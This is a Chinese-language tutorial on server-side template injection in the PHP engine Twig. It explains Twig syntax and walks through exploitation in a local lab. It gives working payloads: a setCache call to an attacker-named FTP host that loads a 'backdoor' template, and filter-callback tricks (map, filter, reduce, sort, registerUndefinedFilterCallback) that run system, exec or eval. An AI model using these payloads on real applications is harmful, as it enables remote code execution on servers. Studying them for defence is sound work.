PHP模板注入漏洞-Twig篇
PHP常见模板引擎
Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
Smarty
Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛。
Blade
Blade 是 Laravel 提供的一个既简单又强大的模板引擎。
和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生PHP代码。所有Blade视图文件都将被编译成原生的PHP代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。
模板引擎payload格式
1 | Smarty |
1 | Twig |
1 | Blade |
Twig
简介
Twig是一款灵活、快速、安全的PHP模板引擎。如果你接触过其他基于文本的模板语言,比如 Smarty、Django、或者Jinja,你便能轻松掌握Twig。它坚持PHP的原则,并为模板环境添加了有用的功能,使其同时保持对设计师和开发者友好。
Twig由一个灵活的词法分析器和解析器驱动。这使得开发者可以自定义标签和过滤器,并创建自己的DSL。
Twig已被用于许多开源项目,比如Symfony, Drupal8, eZPublish,phpBB, Piwik, OroCRM;并且许多框架也支持它,例如Slim, Yii, Laravel, Codeigniter and Kohana。
基础语法
注意:该模块以下所有语句测试所用版本均为Twig 1.16.1。如若出现语法错误,则可能是版本兼容性问题
变量
应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 .来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),Twig还支持访问PHP数组上的项的特定语法, 其中对于hada['gaga']的访问示例如下:
1 | {{ hada.gaga }}{{ hada['gaga'] }} |
全局变量
Twig模板中存在这些全局变量:
_self:引用当前模板名称;(在twig1.x和2.x/3.x作用不一)
_context:引用当前上下文;
_charset:引用当前字符集。
声明变量
为代码块内的变量赋值。赋值使用set标签:
1 | {% set hada = 'gaga' %} |
过滤器
作用
过滤器用于对变量内容进行格式化或修改操作,类似于管道处理(如:{{ var|filter }}),常用于:
- 文本格式化(大小写转换、截断等)
- 数据转换(日期格式化、JSON编码等)
- 集合处理(排序、切片等)
- 逻辑判断(默认值设置等)
语法
1 | {# 基础用法 #} |
若要对代码部分应用筛选器,使用apply标签或者filter标签:
1 | {% apply upper %}This text becomes uppercase{% endapply %} |
其中apply标签在Twig 1.40 版本之前不存在,而filter标签兼容所有 Twig 1.x 版本
官方说明:
apply是filter的别名,二者功能完全一致,更新后建议优先使用apply以保持与 Twig 3.x 的兼容性
示例
日期格式化 (date)
1 | {{ post.date|date('Y-m-d H:i:s') }} |
大小写转换
1 | {{ 'Hello World'|lower }} {# 输出:hello world #} |
默认值 (default)
1 | {{ user.name|default('Anonymous') }} |
数组切片 (slice)
1 | {{ [1,2,3,4,5]|slice(1, 3)|join(', ') }} |
控制结构
控制结构是指所有控制程序流的代码,例如条件语句,循环语句以及条件+循环组合的代码块。控制结构使用{%%}。条件语句(if语句):
基础用法
1 | {% if temperature > 30 %} |
复合条件
1 | {% if user.isLoggedIn and user.role == 'admin' %} |
空值校验
1 | {% if comments is empty %} |
循环控制 (for 循环)
遍历数组
1 | <ul> |
loop.index从1开始的计数loop.index0从0开始的计数loop.first是否是第一个元素loop.last是否是最后一个元素
遍历关联数组
1 | {% for key, value in settings %} |
限定循环范围
1 | {# 只显示前3条新闻 #} |
循环 + 条件组合
1 | {% for product in products if product.stock > 0 %} |
完整示例
以下是一个完整的示例:
1 | {# 模拟数据 #} |
特殊循环控制
1 | {% for i in 0..10 %} |
函数
在Twig中存在一些内置函数,如生成序列(range),日期(data)。
示例
1 | {% for i in range(1, 5) %} |
引入其他模板
Twig 提供的 include函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板
1 | {{ include('other.html') }} |
继承
Twig最强大的部分是模板继承。模板继承允许您构建一个基本的“skeleton”模板,该模板包含站点的所有公共元素并定义子模版可以覆写的 blocks 块。
为便于理解,以下是一个基础模板继承(经典三明治结构)的示例:
父模板base.html.twig
1 |
|
在这个例子中,block 标签定义了 5 个块,可以由子模版进行填充。对于模板引擎来说,所有的 block 标签都可以由子模版来覆写该部分。
子模板page.html.twig
1 | {% extends "base.html.twig" %} |
其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。
PHP脚本page.php
使用如下PHP脚本调用模板
1 |
|
访问后渲染结果如下

Twig 1.x
安装
从https://github.com/twigphp/Twig/tree/v1.16.1中下载源码后解压到PHPstudy的WWW目录的同一级目录下,并创建一个网站让他解析,具体设置如下:

代码示例
在网站根目录下创建一个index.php文件,并键入如下内容:
1 |
|
随后访问http://twig1.localhost/test.php,你将看到**Hello World!**
Twig 模板注入也是发生在直接将用户输入作为模板,比如下面的代码:
1 |
|
利用链解析
在 Twig 1.x 中存在三个全局变量:
_self:引用当前模板的实例。_context:引用当前上下文。_charset:引用当前字符集。
对应的代码在Twig-1.16.1\lib\Twig\Node\Expression\Name.php
1 | protected $specialVars = array( |
当模板代码中使用 _self 变量时,它会返回当前的 \Twig\Template 实例。这个实例对象包含了一个指向 Twig_Environment 的 env 属性,我们可以通过它继续调用 Twig_Environment 中的其他方法。因此,通过在模板代码中使用 _self 变量和 env 属性,攻击者可以构造任意代码执行的攻击载荷,从而进行 SSTI 攻击。
例如该Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:
1 | {{_self.env.setCache("ftp://attacker.net:21")}}{{_self.env.loadTemplate("backdoor")}} |
我们在Twig-1.16.1\lib\Twig\Environment.php文件中还有 getFilter 方法:
1 | public function getFilter($name) |
而在该方法中我们发现了危险函数call_usr_func通过传递参数到该函数中,我们可以调用任意 PHP 函数。因此有如下利用方法:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("calc")}} |
Twig 2.x / 3.x
安装
从https://github.com/twigphp/Twig/tree/v2.14.9中下载源码后解压到PHPstudy的WWW目录的同一级目录下,并创建一个网站让他解析,具体设置如下:

代码示例
在index.php中键入如下代码:
1 |
|
访问如下链接:http://twig2.localhost/?name=world你将看到`Hello world!`
上述示例是一个存在模板注入漏洞的示例,到了 Twig 2.x / 3.x 版本中,__self 变量在 SSTI 中早已失去了他的作用,但我们可以借助新版本中的一些过滤器实现目的。
map过滤器
在 Twig 中,map 这个过滤器可以允许用户传递一个箭头函数,并将这个箭头函数应用于序列或映射的元素,示例模板文件如下:
map.html.twig
1 | {% set people = [ |
使用如下PHP文件调用并渲染该模板:
map.php
1 |
|
目录结构
1 | your_project/ |
访问后你将得到输出:
1 | Bob Smith, Alice Dupond |
利用解析
当我们如下使用 map 时:
1 | {{["Mark"]|map((arg)=>"Hello #{arg}!")}} |
Twig 会将其编译成:
1 | twig_array_map([0 => "Mark"], function ($__arg__) use ($context, $macros) { |
这个 twig_array_map 函数的源码如下:
1 | function twig_array_map($array, $arrow) |
关键部分
1 | $r[$k] = $arrow($v, $k); |
从上面的代码我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k),而 $v 和 $k 分别是 $array 中的 value 和 key。$array 和 $arrow 都是我们我们可控的,那我们可以不传箭头函数,直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数:
1 | system ( string $command [, int &$return_var ] ) : string |
前三个都可以使用。相应的 Payload 如下:
1 | {{["calc"]|map("system")}} |
其中,{{["calc"]|map("system")}} 会被解析成下面这样:
1 | twig_array_map([0 => "calc"], "sysetm") |
最终在 twig_array_map 函数中将执行 system('calc',0)。执行结果如下图所示:

如果上面这些命令执行函数都被禁用了,我们还可以执行其他函数执行任意代码
1 | {{["phpinfo();"]|map("eval")|join(",")}} |
按照 map 的利用思路,我们去找带有 $arrow 参数的,可以发现下面几个过滤器也是可以利用的。
filer过滤器
这个 filter 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值,示例模板如下:
filter .html.twig
1 | {% set lists = [34, 36, 38, 40, 42] %} |
使用如下PHP脚本可调用该Twig模板:
filter.php
1 |
|
Twig将上述模板编译为如下结果:
1 | echo implode(', ', array_filter($context["lists"], function ($__value__) { return ($__value__ > 38); })); |
目录结构
1 | your_project/ |
访问后你将得到如下输出:
1 | 40, 42 |
利用解析
类似于 map,模板编译的过程中会进入 twig_array_filter 函数,这个 twig_array_filter 函数的源码如下:
1 | function twig_array_filter($array, $arrow) |
根据源码可得,$array 和 $arrow 将作为参数直接传递给 array_filter() 函数。该函数可以使用回调函数过滤数组中的元素。如果我们自定义一个恶意的回调函数,可能会导致代码执行或命令执行等安全问题。
array_filter() 函数用回调函数过滤数组中的值。
1 | array_filter(array,callbackfunction); |
| 参数 | 描述 |
|---|---|
| array | 必需。规定要过滤的数组。 |
| callbackfunction | 必需。规定要使用的回调函数。 |
array可以作为callbackfunction得参数来执行。
payload:
1 | {{["calc"]|filter("system")}} |
reduce 过滤器
reduce 过滤器使用箭头函数迭代地将序列或映射中的多个元素缩减为单个值。箭头函数接收上一次迭代的返回值和序列或映射的当前值,示例模板及PHP脚本如下:
reduce.html.twig
1 | {% set numbers = [1, 2, 3] %} |
reduce.php
1 |
|
编译结果
1 |
|
目录结构
1 | your_project/ |
访问后你将得到如下输出:
1 | 6 |
利用解析
我们发现和map过滤器一样,同样将输入的变量引导了twig_reduce_filter中,下面是reduce中有关twig_reduce_filter函数的源码:
1 | function twig_reduce_filter($array, $arrow, $initial = null) |
$array, $arrow 和 $initial 直接被 array_reduce 函数调用array_reduce 函数可以发送数组中的值到用户自定义函数,并返回一个字符串。如果我们自定义一个危险函数,将造成代码执行或命令执行。
1 | {{[0, 0]|reduce("system", "calc")}} |
sort 过滤器
作用,对数组进行排序,可以传递一个箭头函数来对数组进行排序,示例模板及PHP脚本如下:
sort.html.twig
1 | {% set fruits = [ |
sort.php
1 |
|
编译结果
1 |
|
目录结构
1 | your_project/ |
利用解析
我们可以注意到twig_sort_filter()这个函数
1 | twig_sort_filter($this->env, $context["fruits"], function ($a, $b) { return ($a["quantity"] <=> $b["quantity"]); }) |
下面是sort过滤器关于twig_sort_filter()函数的源码
1 | function twig_sort_filter($array, $arrow = null) |
漏洞部分
1 | if (null !== $arrow) { |
uasort() 函数使用用户自定义的比较函数对数组 $arr 中的元素按键值进行排序,在这段代码中,$array, $arrow这两个变量了同时可以使用用户自定义的比较函数对数组中的元素按键值进行排序,我们就可以传入包含函数参数的列表,进行命令执行了。
1 | {{["calc", 0]|sort("system")}} |







